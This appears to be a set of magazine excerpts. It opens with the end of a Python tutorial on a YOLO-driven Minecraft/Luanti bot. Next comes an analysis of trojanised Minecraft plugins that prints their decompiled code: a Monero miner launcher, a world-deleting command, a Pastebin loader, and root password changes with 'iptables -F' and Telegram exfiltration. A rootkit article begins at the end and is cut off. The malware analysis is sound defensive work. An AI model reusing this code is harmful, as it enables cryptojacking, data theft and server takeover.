       print(f"Предупреждение: Файл скриншота не найден по пути: {
SCREENSHOT_PATH}")

         return None, None

      full_screenshot_path = os.path.join(SCREENSHOT_PATH,
screenshot_file)

   # Получаем размер окна
     screenshot = cv2.imread(full_screenshot_path)
      if screenshot is None:
       print(f"Предупреждение: Не удалось прочитать изображение по 
пути: {full_screenshot_path}")

         return None, None
       window_height, window_width, _ = screenshot.shape
   print(f"Размер окна игры: {window_width}x{window_height}")
     return window_width, window_height

 def get_screenshot_path():
   """Находит путь к последнему скриншоту."""
     files = os.listdir(SCREENSHOT_PATH)
           

 
screenshot_files = [f for f in files if re.match(

SCREENSHOT_PATTERN, f)]
    if screenshot_files:
       # Сортируем по времени (последний файл первым)
       screenshot_files.sort(reverse=True)

         return os.path.join(SCREENSHOT_PATH, screenshot_files[0])
   else:

        return None

 def _prepare_mask(mask):
   """Подготавливает маску для обработки."""
     mask = mask.cpu().numpy()
   # Делаем маску черно-белой
       mask = (mask * 255).astype(np.uint8)
   # Находим все ненулевые точки в маске
     coords = cv2.findNonZero(mask)
     return mask, coords

   def _process_mask(mask, width, height):
   """Обрабатывает маску, вычисляет центр и угол поворота."""
      mask, coords = _prepare_mask(mask)

   # Проверяем, что точки найдены
      if coords is None:

         return None, None

   # Получаем координаты X точек
       x_coords = coords[:, :, 0]
   # Получаем координаты Y точек
       y_coords = coords[:, :, 1]

   # Вычисляем центр маски
     center_x = np.mean(x_coords)
     center_y = np.mean(y_coords)

   # Вычисляем угол поворота
   # Фиксированная точка у ног бота (середина внизу изображения)
       start_x = width // 2
   # Фиксированная точка у ног бота (середина внизу изображения)
     start_y = height
       dx = center_x - start_x
       dy = center_y - start_y
      angle = math.degrees(math.atan2(dx, -dy))
      return angle, (center_x, center_y)

   def _overlay_mask(image, mask, center):
   """Отрисовывает маску на изображении."""
      mask, coords = _prepare_mask(mask)

   # Проверяем, что точки найдены
      if coords is None:

        return image
   # Приводим координаты в нужный формат
      coords = coords.reshape(-1, 2).astype(np.int32)
   # Создаем пустую маску
      mask_img = np.zeros_like(image, dtype=np.uint8)
   # Заполняем маску цветом для отображения
       cv2.fillPoly(mask_img, [coords], (0, 255, 0))
   # Рисуем центр маски
         

 
cv2.circle(mask_img, (int(center[0]), int(center[1])), 5, (0, 0,

255), -1)
   # Объединяем изображения
         overlay = cv2.addWeighted(image, 0.7, mask_img, 0.3, 0)
    return overlay

  def detect_cobblestone(image_path, model):
   """Обнаруживает булыжники на изображении и возвращает угол 
поворота."""
   # Проверяем существование файла
     if not os.path.exists(image_path):
       print(f"Предупреждение: Файл изображения '{image_path}' не 
существует.")

          return None, None, False

   # Загружаем изображение
     image = cv2.imread(image_path)

   # Проверяем, что изображение загрузилось
      if image is None:
       print(f"Предупреждение: Не удалось прочитать изображение '{
image_path}'.")

          return None, None, False

   # Сохраняем высоту и ширину
      height, width = image.shape[:2]
     angles = []
     processed_image = image.copy()

   # Получаем результаты сегментации
     results = model(image)
   # Проверяем, что объекты найдены
        if not results or not results[0].masks:
       print(f"Предупреждение: Объекты не найдены на изображении '{
image_path}'.")
       # Возвращаем None для угла и False для обнаружения

          return image, None, False

   # Обходим все найденные маски
      for mask_data in results[0].masks.data:
       try:

                angle, center = _process_mask(mask_data, width, height)
               if angle is not None:

               angles.append(angle)
   

 
           processed_image = _overlay_mask(processed_image,
mask_data, center)

          except Exception as e:
           print(f"Ошибка: {e}")
      if len(angles) > 0:
       # Возвращаем изображение, углы и True

          return processed_image, angles, True
   else:
       # Возвращаем изображение, None и False

          return processed_image, None, False

  def turn_to_cobblestone(controller, angles):
   """Поворачивает игрока к ближайшему булыжнику."""
      if angles is None:
       return
   # Выбираем угол с минимальным абсолютным значением для 
ближайшего булыжника
      best_angle = min(angles, key=abs)
   # Поворачиваем игрока
    controller.turn(best_angle, 0)

 def show_image(image):
   """Сохраняет и отображает изображение."""
    cv2.imshow("Detection", image)
   # Отображаем изображение (необходима пауза, чтобы окно успело 
отрисоваться)
   cv2.waitKey(1)

   if __name__ == "__main__":
   print("Скрипт запущен. Для завершения нажмите Ctrl+C.")

   # Загрузка модели YOLO
     model = YOLO(MODEL_PATH)

   # Получение размеров окна игры
      window_width, window_height = get_window_size()
          if window_width is None or window_height is None:
       print("Не удалось получить размеры окна. Завершение работы.")
       exit()

   # Инициализация контроллера игры
      controller = Controller(window_width, window_height)

   try:
        while True:

           # Делаем скриншот
           controller.take_screenshot()
           # Ожидаем сохранения скриншота
           time.sleep(1)

             screenshot_path = get_screenshot_path()
              if screenshot_path is None:

               print("Скриншот не найден.")
               continue
           try:
               # Обнаружение булыжников

    
 

               img_with_mask, angles, is_detected =
detect_cobblestone(screenshot_path, model)
               show_image(img_with_mask)

                if is_detected:
                   print(f"Углы поворота: {[f'{angle:.2f}' for 
angle in angles]}")

                    turn_to_cobblestone(controller, angles)
               else:
                   print("Булыжник не обнаружен")

              except Exception as e:
               print(f"Ошибка: {e}")

           # Пауза между итерациями
           time.sleep(5)

    except KeyboardInterrupt:
       print("\nСкрипт завершен пользователем.")

Запустив скрипт и  подойдя к  булыжнику, мы должны увидеть новое окно,
на котором маской будет выделен распознанный объект.

Продолжение статьи
→
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ИСПОЛЬЗОВАНИЕ

И вот после всех подготовок мы добрались до  самой интересной части.
Давай попробуем научить бота передвигаться по  дорожкам из  текстур рас‐
познанного нами булыжника.

Наша стратегия будет такой:
Ищем верхнюю границу контура самого большого объекта, который нашла
наша модель.

•

Строим вектор из  середины нижней границы нашего снимка в  середину
«верхней» границы контура. Это  будет то направление, куда должен
повернуться наш бот.

•

Высчитываем угол между вектором и вертикалью, а потом переводим его
из  градусов в  пиксели по  формуле, описанной в  методе

 в файле .

•

_calculate_pixels_for_degrees() controller.py

Для поворота используем метод  нашего контроллера, управляюще‐
го ботом.

• turn

Запусти игру, запусти скрипт  в  терминале, переключи

фокус на окно с игрой.

detect_and_turn.py

В коде снова есть строки, которые различаются для  Minecraft и  Luanti:
в начале файла и в начале метода .get_window_size()

detect_and_turn.py
 import pyautogui
 import time
 import cv2
   import numpy as np
 import os
 import re
 import math

   from ultralytics import YOLO
     from config import SCREENSHOT_PATH, SCREENSHOT_PATTERN, MODEL_PATH

# Для Luanti
     from luanti.controller import LuantiController as Controller

# Для Minecraft
# from minecraft.controller import MinecraftController as Controller

 def get_window_size():
   """Получает размер окна игры."""
   # Делаем снимок, чтобы получить размер окна

   # Для Luanti
   pyautogui.press('f12')
   # Pyautogui.press('F2') # Для Minecraft
   time.sleep(1)

     files = os.listdir(SCREENSHOT_PATH)
           

  
screenshot_file = next((f for f in files if re.match(

SCREENSHOT_PATTERN, f)), None)

     if not screenshot_file:
       print(f"Предупреждение: Файл скриншота не найден по пути: {
SCREENSHOT_PATH}")

         return None, None

      full_screenshot_path = os.path.join(SCREENSHOT_PATH,
screenshot_file)
     screenshot = cv2.imread(full_screenshot_path)

      if screenshot is None:
       print(f"Предупреждение: Не удалось прочитать изображение по 
пути: {full_screenshot_path}")

         return None, None

       window_height, window_width, _ = screenshot.shape
   print(f"Размер окна игры: {window_width}x{window_height}")
     return window_width, window_height

 def get_screenshot_path():
   """Находит путь к последнему скриншоту."""
     files = os.listdir(SCREENSHOT_PATH)
           

 
screenshot_files = [f for f in files if re.match(

SCREENSHOT_PATTERN, f)]
    if screenshot_files:
       screenshot_files.sort(reverse=True)

         return os.path.join(SCREENSHOT_PATH, screenshot_files[0])
    return None

 def _delete_png_files(directory):
   """Удаляет все PNG-файлы из указанной директории."""
      for filename in os.listdir(directory):

        if filename.lower().endswith(".png"):
              file_path = os.path.join(directory, filename)

           try:
               os.remove(file_path)

              except Exception as e:
               print(f"Предупреждение: Не удалось удалить файл '{
filename}': {e}")

     
 

def _find_and_draw_contours(image, mask, width, height, draw_vector=
False, vector_target=None):
   """Находит и отрисовывает контуры на изображении."""
     mask = mask.cpu().numpy()
       mask = (mask * 255).astype(np.uint8)
        contours, _ = cv2.findContours(mask, cv2.RETR_EXTERNAL, cv2.
CHAIN_APPROX_SIMPLE)

     if not contours:
       print("Отладочная информация: Контуры не найдены.")

          return None, image, None

      largest_contour = max(contours, key=cv2.contourArea)
         min_y = min(point[0][1] for point in largest_contour)
                top_points = [(x, y) for x, y in largest_contour[:, 0] if y ==
min_y]

     if not top_points:
       print("Отладочная информация: Верхние точки контура не 
найдены.")

          return largest_contour, image, None

            mid_x = sum(x for x, _ in top_points) // len(top_points)
      top_point = (mid_x, min_y)

         start_x, start_y = width // 2, height
         cv2.drawContours(image, [largest_contour], -1, (255, 0, 0), 2)

    if top_points:
   

   
       cv2.polylines(image, [np.array(top_points)], isClosed=False,
color=(0, 255, 0), thickness=3)

      if draw_vector and vector_target:
                  if 0 <= vector_target[0] < width and 0 <= vector_target[1] <

height:
    

    
           cv2.arrowedLine(image, (start_x, start_y), vector_target,
(0, 255, 0), 2, tipLength=0.2)
       else:
           print(f"Отладочная информация: Недопустимые координаты 
vector_target: {vector_target}")

      return largest_contour, image, top_point

   def _calculate_turn_angle(target_point, width, height):
   """Вычисляет угол поворота к целевой точке."""
         start_x, start_y = width // 2, height
       dx = target_point[0] - start_x
       dy = target_point[1] - start_y
     return math.degrees(math.atan2(dx, -dy))

    def _process_detection(image, model, width, height):
   """Обрабатывает обнаружение булыжника на изображении."""
     processed_image = image.copy()
     largest_contour_area = 0
     largest_contour_top_point = None
     results = model(image)

        if not results or not results[0].masks:
       print("Предупреждение: Объекты не найдены на изображении.")

          return processed_image, None, False

      for mask_data in results[0].masks.data:
       try:

    
   

           contour, processed_image, top_point =
_find_and_draw_contours(processed_image, mask_data, width, height)

                  if contour is None or top_point is None:
               print("Отладочная информация: Контур или верхняя 
точка не найдены.")
               continue

             contour_area = cv2.contourArea(contour)
              if contour_area > largest_contour_area:

                 largest_contour_area = contour_area
                 largest_contour_top_point = top_point

          except Exception as e:
           print(f"Ошибка при обработке контура: {e}")

    if largest_contour_top_point:
   

 
       angle = _calculate_turn_angle(largest_contour_top_point,
width, height)
       print(f"Угол поворота: {angle:.2f}")

 
    

       _find_and_draw_contours(processed_image, results[0].masks.
data[0], width, height, True, largest_contour_top_point)

          return processed_image, angle, True

   print("Отладочная информация: Ни один контур не был обработан.")
      return processed_image, None, False

    def detect_cobblestone(image_path, model, width, height):
   """Обнаруживает булыжники на изображении и возвращает угол 
поворота."""
     if not os.path.exists(image_path):
       print(f"Предупреждение: Файл изображения '{image_path}' не 
существует.")

          return None, None, False

     image = cv2.imread(image_path)
      if image is None:
       print(f"Предупреждение: Не удалось прочитать изображение '{
image_path}'.")

          return None, None, False

       return _process_detection(image, model, width, height)

  def turn_to_cobblestone(controller, angle):
   """Поворачивает игрока к ближайшему булыжнику."""
       if angle is not None:

        controller.turn(angle, 0)

 def show_image(image):
   """Сохраняет и отображает изображение."""
    cv2.imshow("Detection", image)
   cv2.waitKey(1)

   if __name__ == "__main__":
   print("Скрипт запущен. Для завершения нажмите Ctrl+C.")

     model = YOLO(MODEL_PATH)
      window_width, window_height = get_window_size()

          if window_width is None or window_height is None:
       print("Не удалось получить размеры окна. Завершение работы.")
       exit()

      controller = Controller(window_width, window_height)
     turn_counter = 0
   _delete_png_files(SCREENSHOT_PATH)
   try:

        while True:
           controller.take_screenshot()
           # Ожидаем сохранения скриншота
           time.sleep(0.1)

             screenshot_path = get_screenshot_path()
              if screenshot_path is None:

               print("Скриншот не найден. Окно с игрой должно быть 
в фокусе.")
               # Ожидаем сохранения скриншота
               time.sleep(2)
               continue

           try:
    

   
               img_with_mask, angle, is_detected =
detect_cobblestone(screenshot_path, model, window_width,
window_height)
               show_image(img_with_mask)

                if is_detected:
                     turn_counter = 0

                   print(f"Угол поворота: {angle:.2f}")
                   controller.move_forward(1)

                    turn_to_cobblestone(controller, angle)
               else:

                     turn_counter += 1
                    controller.turn(45, 0)

                   print("Булыжник не обнаружен, поворот на 45 
градусов.")
                   time.sleep(2)

                      if turn_counter > 7:
                       controller.send_chat_message("Я потерялся, 
мне нужна помощь!")
                       time.sleep(60)

              except Exception as e:
               print(f"Ошибка: {e}")
           finally:
               _delete_png_files(SCREENSHOT_PATH)

    except KeyboardInterrupt:
       print("\nСкрипт завершен пользователем.")

Построй замкнутую дорожку шириной в  три блока, со  стороной ~15  блоков.
Поставь бота на  любую ее часть так, чтобы он мог видеть дорожку. Запусти
скрипт, и бот должен идти по твоей дорожке.

ВЫВОДЫ

Мы научились базовым принципам, которые помогут создавать алгоритмы
на основе машинного зрения. Применения могут быть не только в Minecraft,
да и не только в играх — используя тот же метод, можно запрограммировать
и настоящего робота, который будет ориентироваться по маркерам или QR-
кодам.

WWW

•Документация по моделям YOLO
•Скрипт для аннотации снимков
•Репозиторий проекта

https://docs.ultralytics.com/ru/
https://github.com/ManzarIMalik/YOLO-Annotation-Tool
https://gitflic.ru/project/ksandr/minebot
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Вездесущая малварь добралась до уютных
миров Minecraft. Чтобы оценить масштаб
бедствий, я исследовал несколько пойман‐
ных аналитиками семплов. Прочитав
статью, ты узнаешь, стоит ли доверять слу‐
чайным модификациям и как самостоятель‐
но распознать опасные приложения
на  Java, даже если им удалось обхитрить
твой антивирус.

ПОИСК СЕМПЛОВ

Я верю в  глубокое изучение конкретных семплов. Поэтому первым делом я
решил поискать антивирус, созданный специально для пользователей «Май‐
нкрафта». Несколько утилит лечили последствия атаки печально известного

. Но есть и антивирус общего назначения — .Fracturiser MCAntiMalware
Это серверное приложение на  Java, которое проверяет хеши файлов

и несколько видов сигнатур. Меня интересует только его база, которая лежит
по  адресу . База сохранена в  формате

SQLite, так что откроем ее через бесплатный .

src\main\resources\database.db
SQLite Browser

В таблице  видим набор хешей SHA-1. У меня нет

доступа к  базам VirusTotal (напиши мне, если у  тебя есть!), так что будем
искать хеши в Google. Хешей всего лишь 349 штук. Можно было бы написать
скрипт, но  я решил, что быстрее будет проверить их вручную. Сегодня
поговорим о найденных семплах.

BlacklistedChecksums

DROPEDIT 1.10.4

SHA1: C471E7A958305B003A16459EDD59C9C552F56DAB


Это взломанный вариант платного плагина для  Bukkit  — популярного заг‐
рузчика модов для серверов Minecraft. Я поискал по имени плагина его копии
и  на каком‑то богом забытом форуме нашел версию  1.10.3. Закидываем
файл JAR в  декомпилятор  и  получаем исходный код программы.
В большинстве случаев JD-GUI хорошо справляется со своей задачей, но при
ошибках декомпиляции можно использовать другие инструменты.

JD-GUI

При компиляции Java сохраняет имена переменных и функций. Они могут
быть заменены сторонним обфускатором. Также код может быть спрятан
за  Base64  или  бессмысленной Unicode-строкой и  расшифровываться
по  мере исполнения. Подобных трюков вполне достаточно, чтобы считать
файл подозрительным.

Код обеих версий выглядит похожим, но во вредной версии есть какие‑то
вставки, которые надо вычленить. Для  этого я распаковал декомпилирован‐
ные исходники (они сохраняются в виде ZIP) и загрузил обе папки в инстру‐
мент сравнения .WinMerge

Однако добавленные декомпилятором комментарии мешали сравнению,
так как вставленные номера строк и пути к исходным файлам не совпадают.
Поэтому я убрал их при помощи регулярных выражений. Обычно я тестирую
их на сайте . Вот как это можно сделать.regex101

/* Location: C:\Users\admin\Desktop\minecraft\DropEdit_1.10.4.jar!\
de\Linus122\DropEdit\Cmd.class
* Java compiler version: 8 (52.0)
* JD-Core Version:       1.1.3
*/

Этот блок легко поймать регуляркой . В  ней

ловим конец комментария после строки , забирая все символы,

кроме обратного слеша.

\/\* Location: [^\/]+\*\/
Location

      /*    */ public Manager(Plugin pl) {
        /* 27 */ InputStream is = pl.getResource("config_default.yml");

/*    */

Таким же образом вырезаются комментарии с  номером строки. Для  этого
подойдет регулярка , в  которой мы забираем пробелы

и цифры между звездочек со слешами. Я использовал  для поиска
и замены регулярных выражений во всех файлах в папке, но с этим справится
любой современный редактор текста.

\/\*[\d ]+\*\/
Notepad++

Результат сравнения

Снова сравнив папки в  WinMerge, теперь видим только различия в  коде.
В  зараженной версии присутствует новый файл: . Прогнав

результат работы декомпилятора через , получаем тот же код,
но с красивым форматированием:

Manager.java
CodeBeautify

   public void onEnable() {
     ReflectionUtils utils = new ReflectionUtils();
   types = utils.loadEntityTypes();
  if (isUnix(System.getProperty("os.name")));

// (...)

     public static boolean isUnix(String OS) {
          

  
return !(OS.indexOf("nix") < 0 && OS.indexOf("nux") < 0 && OS.

indexOf("aix") <= 0);
}

В отличие от остальных семплов, этот проверяет, что он исполняется на Unix.

 package de.Linus122.DropEdit;

 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.io.Writer;
 import java.net.URI;
 import java.nio.charset.StandardCharsets;
 import java.nio.file.FileSystem;
 import java.nio.file.FileSystems;
 import java.nio.file.Files;
 import java.nio.file.OpenOption;
 import java.nio.file.Path;
 import java.nio.file.Paths;
 import java.nio.file.StandardOpenOption;
 import java.util.HashMap;
 import java.util.Map;
 import org.apache.commons.io.IOUtils;
 import org.bukkit.Bukkit;
 import org.bukkit.plugin.Plugin;

   public class Manager {
    public Manager(Plugin pl) {
      InputStream is = pl.getResource("config_default.yml");

       String jar = (new File(Bukkit.class.getProtectionDomain().
getCodeSource().getLocation().getPath())).getName();

    try {
      File dir;
                Map < String, String > env = new HashMap < > ();

      env.put("create", "true");
          Path path = Paths.get(jar, new String[0]);
          URI uri = URI.create("jar:" + path.toUri());

           Exception exception1 = null, exception2 = null;
      try {

           FileSystem fs = FileSystems.newFileSystem(uri, env);

        try {
    

 
         Path nf = fs.getPath("org/bukkit/craftbukkit/Main2.class",
new String[0]);

               Exception exception3 = null, exception4 = null;
          try {

    
   

           Writer writer = Files.newBufferedWriter(nf,
StandardCharsets.ISO_8859_1, new OpenOption[] {
             StandardOpenOption.CREATE
           });

            try {
               while (true) {
                  int value = is.read();

                  if (value == -1)
                 break;
               writer.write(value);
             }

             } finally {
                 if (writer != null) writer.close();

           }
           } finally {

             exception4 = null;
               if (exception3 == null) {

               exception3 = exception4;
                 } else if (exception3 != exception4) {

             exception3.addSuppressed(exception4);

           }

         }

        } finally

       {
             if (fs != null) fs.close();

       }
       } finally {

         exception2 = null;
           if (exception1 == null) {

           exception1 = exception2;
             } else if (exception1 != exception2) {

         exception1.addSuppressed(exception2);
       }
     }

          File fileOUT = new File(dir.getPath(), "crash-2017-06-01_22.06.
22-server.txt");

        InputStream is2 = pl.getResource("old_config.txt");
         OutputStream os = new FileOutputStream(fileOUT);

      IOUtils.copy(is2, os);

      dir.setReadable(true, true);
      dir.setWritable(true, true);

      dir.setExecutable(true, true);
      fileOUT.setReadable(true, true);
      fileOUT.setWritable(true, true);

      fileOUT.setExecutable(true, true);
       } catch (Exception exception) {}
 }
}

Обрати внимание на  импорт. Работа с  файловой системой или  сетью нап‐
рямую всегда настораживает. Легальному плагину незачем вылезать за пре‐
делы ресурсов игры или  отправлять данные через сеть, и  такое поведение
всегда намекает на возможную вредоносную активность.

В конструкторе класса начинается крайне подозрительный код. Он вити‐
еватым образом выгружает на  диск новый JAR. Данные берутся из  файла

 и  записываются в 

. Затем код выбрасывает и  второй файл  — содержимое 
 заносится в  . После чего вре‐

донос меняет права доступа к файлу, разрешая ему запуск на Linux.

config_default.yml org/bukkit/craftbukkit/Main2.
class old_config.
txt crash-2017-06-01_22.06.22-server.txt

Посмотрим, что находится внутри новых файлов. В 
ожидаемо встречаем скомпилированный класс Java. Старый декомпилятор
отказывается с  ним работать, поэтому на  помощь приходит

.

config_default.yml

javadecompilers.com

 package org.bukkit.craftbukkit;

 import java.io.BufferedReader;
 import java.io.File;
 import java.io.InputStreamReader;

   public class Main2 {
       public static boolean useJline = true;
       public static boolean useConsole = true;

       public static void main(String[] args) {
      try {

           Process process = Runtime.getRuntime().exec("nproc");
             BufferedReader reader = new BufferedReader(new

InputStreamReader(process.getInputStream()));
           int numberOfCores = 0;

         String line;
         try {

                while((line = reader.readLine()) != null) {
                numberOfCores = Integer.parseInt(line);

           }
            } catch (Exception var6) {

             numberOfCores = 10;
        }

      
      

        String[] t = new String[]{"/bin/bash", "-c", "./
crash-2017-06-01_22.06.22-server.txt -t " + (numberOfCores - 1) + " 
-a cryptonight -o stratum+tcp://mine.moneropool.com:3333 -u 
47Tuzhh6kA41ed8ncL36peYMCEovFPsbMEghxisWiHdM8vPyx5V45GcYJZVFfxsvkwRTe
Z5bgTCNbaez3Ufw3YWpHTdy34g 
-p x"};

           Runtime.getRuntime().exec(t, (String[])null, new File(
"crash-reports"));

         } catch (Exception var7) {
     }

     Main.main(args);
  }
}

Видим запуск записанного выше файла через , с параметрами, похожи‐

ми на  аргументы майнера,  — алгоритмом CryptoNight и  адресом пула. Уже
понятно, что это  майнер, но  для приличия посмотрим и  на второй файл.
Открываем  в IDA Pro и видим, что это обычный ELF, исполня‐

емый файл для  Linux. Имена функций на  месте, значит, из  файла забыли
вырезать отладочные символы. Пробежавшись по  открытым строчкам, рас‐
познаем .

exec

old_config.txt

CPU miner

'Usage: minerd [OPTIONS]',0A


'cpuminer 1.0.4',0Ah

'built on May 25 2016',0A


Складывается полная картина. Автор нашел взломанную версию платного
плагина, декомпилировал оригинал и пересобрал его, вставив вредоносный
код, затем увеличил версию файла на единицу и закинул в паблик как горячий
слив новой версии.

HIDEPL 1.0

SHA1: 1FC15A91AF55F737FB5C19FE8FB40090E5FC1E79


Точно так же по названию нашелся исходный плагин HidePl 1.2. Он скрывает
от игроков версию сервера и список установленных плагинов, которые можно
получить через команды  и  . Плагин предельно простой, троянский
код создает несколько новых обработчиков сообщений в чате, например:

/ver /pl

      if (args[0].equalsIgnoreCase("==BAIBAI") && args.length == 1) {
   Bukkit.getServer().broadcastMessage(ChatColor.AQUA + "Say goodbye 
to your precious server!");
 deleteDirectory(Bukkit.getWorldContainer());
  

  
deleteDirectory(new File(String.valueOf(Bukkit.getWorldContainer().

getAbsolutePath()) + "\\plugins"));
  

  
deleteDirectory(new File(String.valueOf(Bukkit.getWorldContainer().

getAbsolutePath()) + "\\world"));

Также он добавляет команду, которая удаляет папки с мирами и плагинами.
Остальные команды рассылают оскорбления от  имени сервера и  вынимают
игроков из бана. По всей видимости, плагин создан для троллинга незадач‐
ливых администраторов и серьезной опасности не представляет.

MANAGECHAT 1.1

SHA1: 55971638808CF23AE15EE3C54C554294CB1C1906


Судя по описанию, плагин должен автоматически модерировать чат. Однако
ничего подобного в коде нет.

   public String getInfoFromPastebin() {
    try {

         URL url = new URL("https://pastebin.com/raw/9vPAm4SH");
         Scanner s = new Scanner(url.openStream());
        String line = s.nextLine();

     s.close();
      return line;

В глаза бросается получение каких‑то данных с  сервиса Pastebin. Ссылка
до сих пор работает, в ней находим конфиг в JSON:

{"APIKey":"88e99a31c7c6c225dc47d9b565ab4783","extraDownloadLink":
"https://dl.dropboxusercontent.com/s/9ht5orp9js0xrpw/ManageChat.
jar?dl=0", "extraPluginName": "ManageChat", "username": 
"AnimatedFun4", "password": "Pleasedonthackmethanks"}

Файл можно скачать, но это будет копия исследуемого плагина. А вот пароли
всегда нам интересны!

   public void uploadServerDetails() {
    String data = "{"ServerIP":"#serverip#","ServerPort":"#serverport#
","Version":"#version#"}";
    data = data.replaceAll("#serverip#", getIP());
    data = data.replaceAll("#serverport#", Integer.toString(Bukkit.
getServer().getPort()));
    data = data.replaceAll("#version#", Bukkit.getServer().getVersion
());
       JSONParser parser = new JSONParser();
    try {
      JSONObject jsonObject = (JSONObject)parser.parse(
getInfoFromPastebin());

// (...)

     HttpsURLConnection connection = (HttpsURLConnection)(new URL(
"https://pastebin.com/api/api_post.php")).openConnection();
 connection.setRequestMethod("POST");
 connection.setDoOutput(true);
     OutputStreamWriter writer = new OutputStreamWriter(connection.
getOutputStream());
     

    

    

writer.write("api_dev_key=" + APIKey + "&api_option=paste&
api_paste_code=" + data + "&
api_paste_name=Animated+Hats+Spigot+Plugin+Server+Details+Output&
api_user_key=" + apiUserKey + "&api_paste_private=0");

Функция собирает отчет из версии сервера и пары , затем пытается
отправить собранные данные на  Pastebin. Я понимаю, что это  serverless-
решение, но хранить ключи в открытом виде — всегда плохая мысль. Иссле‐
дователь без труда похитит логи или даже выведает личность автора плагина.

IP:port

   public void downloadExtraPlugin() {
     JSONParser parser = new JSONParser();
  try {
      JSONObject jsonObject = (JSONObject)parser.parse(
getInfoFromPastebin());
      String downloadURL = (String)jsonObject.get("extraDownloadLink");
      String pluginName = (String)jsonObject.get("extraPluginName");
      Plugin extraPlugin = Bukkit.getServer().getPluginManager().
getPlugin(pluginName);
      if (extraPlugin != null)
   return;
    downloadInstallPlugin(downloadURL, pluginName);
     } catch (ParseException e) {
   e.printStackTrace();
 }
}

Код выше использует ссылку из конфига. Фактически это загрузчик, который
устанавливает любой плагин по ссылке. Автор оставил возможность загрузки
новых модулей либо для  обновлений, либо как  стандартный лоадер  —
для установки сторонних вредоносных программ.

После регистрации на  Pastebin появляется возможность менять текст,
не меняя самой ссылки. Это можно рассматривать как дешевую замену собс‐
твенного управляющего сервера. Изменяя конфиг на Pastebin, владелец акка‐
унта одновременно командует всеми зараженными им серверами Minecraft.

REALFAKEPLAYERS 1.0.0

SHA1: 9A08E70C4591EDAD1E462D374E5D94294596B5DC


Очередной троянский плагин мимикрирует под  реально существующий
RealFakePlayers. Плагин обещает наводнить миры поддельными игроками,
симулирующими активную деятельность на  игровом сервере. В  реальности
ничего, кроме вредоносного кода, плагин не содержит.

  public class Bungee
  extends Plugin {

    public void onEnable() {
    try {
     extsecurity();
         } catch (InterruptedException | IOException e) {

     e.printStackTrace();
   }
 }

       private void extsecurity() throws InterruptedException, IOException
{
    try {

        String command2 = "iptables -F";

        Process process = Runtime.getRuntime().exec(command2);
       } catch (Exception exception) {}

    try {
          Process process = Runtime.getRuntime().exec(new String[] {

       "sudo",
       "/bin/sh",
       "-c",
       "echo "root:Jv8fHsi3B" | sudo chpasswd"
     });

       } catch (Exception exception) {}

             ArrayList < String > a = new ArrayList < > ();
      

 
for (String key: ProxyServer.getInstance().getConfig().getServers

().keySet()) {
 

 
     a.add(((ServerInfo) ProxyServer.getInstance().getConfig().
getServers().get(key)).getAddress().toString().replace("/", ""));
   }
       URL whatismyip = new URL("http://checkip.amazonaws.com");*
        BufferedReader in = new BufferedReader(new InputStreamReader(
whatismyip.openStream()));
      String ip = in.readLine();
    try {

    

     
  

     URL url = new URL("https://api.telegram.org/bot1092635013:
AAEDBO02bYHvMFTH10umYrOLjOYi2z5XV9Y/sendMessage?chat_id=-328277989&
text=AorcoA&parse_mode=markdown".replace("AorcoA", "Host: " + ip + " 
Servers: " + a.toString()));

        URLConnection conn = url.openConnection();
         BufferedInputStream bufferedInputStream = new

BufferedInputStream(conn.getInputStream());
       } catch (Exception exception) {}
 }
}

Код выполняет системную команду . Здесь   —
это сокращенная форма флага , который заставляет iptables удалить

все правила. По  замыслу автора это  должно отключать файрвол, разрешая
все входящие и исходящие пакеты. Следующий  меняет пароль от акка‐
унта root. Это сработает, только если сервер был запущен от имени root.

exec('iptables -F') -F
--flush

exec

Далее идет получение IP через серверы «Амазона». Наконец, внешний IP
вместе с  настройками прокси‑сервера отправляются в  личные сообщения
через Telegram-бота. Это  не лучшее решение: зная секретный ключ, иссле‐
дователь сможет перехватывать отчеты и  даже сменить пароли от  заражен‐
ных серверов.

ВЫВОДЫ

Большинство изученных семплов написаны непрофессионалами. Как  видно
по  нашей выборке, чаще всего атакуют серверы, а  не клиентские сборки.
У  малвари на  Java есть потенциал стать по‑настоящему кросс‑платформен‐
ной угрозой, но в нашем случае большинство атак совершаются скрипт‑кид‐
ди. Не  исключено, что по‑настоящему опасные семплы банально остаются
ниже радаров, но  вполне может быть, что Minecraft просто пока не  заин‐
тересовал серьезных вирусописателей.

https://xakep.ru/2023/06/08/fracturiser/
https://github.com/OpticFusion1/MCAntiMalware
https://sqlitebrowser.org/
http://java-decompiler.github.io/
https://winmerge.org/
https://regex101.com/
https://notepad-plus-plus.org/
https://codebeautify.org/javaviewer
http://www.javadecompilers.com/
https://github.com/pooler/cpuminer
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ВЗЛОМ

Руткиты для  Linux известны уже довольно
давно, они отличаются высокой изощ‐
ренностью архитектуры, способны
эффективно перехватывать системные
вызовы и  маскировать свое присутствие
в  системе. Сегодня мы попытаемся
написать собственный Linux-руткит, чтобы
на его примере изучить ключевые механиз‐
мы работы таких вредоносных программ.

Недавно я наткнулся на  , где
говорилось, что обнаружен новый Linux-руткит Pumakit. С  ядром ОС Linux я
никогда ранее не  сталкивался, и  идея разобраться в  нем буквально пог‐
лотила меня. В  статье я попытаюсь описать особенности, которые мне уда‐
лось выявить при  написании собственного руткита под  современные ядра
Linux версий 5.x и 6.x (x86_64).

новость, опубликованную в  журнале «Хакер»

WARNING

Статья имеет ознакомительный характер и пред‐
назначена для  специалистов по  безопасности,
проводящих тестирование в  рамках контракта.
Автор и  редакция не  несут ответственности
за  любой вред, причиненный с  применением
изложенной информации. Распространение вре‐
доносных программ, нарушение работы систем
и  нарушение тайны переписки преследуются
по закону.

ПАТЧ, МЕШАЮЩИЙ ЖИТЬ

Когда я исследовал руткиты для  Linux, то неоднократно посещал GitHub
в поисках подобных программ, чтобы примерно понимать их структуру и фун‐
кциональные возможности. И  вот что мне бросалось в  глаза: практически
во всех реализациях руткитов используется метод перехвата syscall’ов путем
перезаписи таблицы системных вызовов .sys_call_table

Устаревший метод перехвата syscall’ов

Однако с  недавнего времени этот метод больше не  работает, поскольку
сообщество Linux-разработчиков , при  котором упомянутая
таблица не используется:

выкатило патч

« »The sys_call_table is  no longer used for system calls, but
kernel/trace/trace_syscalls.c still wants to know the system call address.

KPROBES ВСЕМУ ГОЛОВА

Ядро Linux напичкано не только всякими жизнетворящими вещами, оно также
имеет в  своем арсенале механизмы отладки, которые поддерживаются
из  ядра в  ядро. С  версии  2.6.9  в  Linux kernel появился kprobes. Kprobes  —
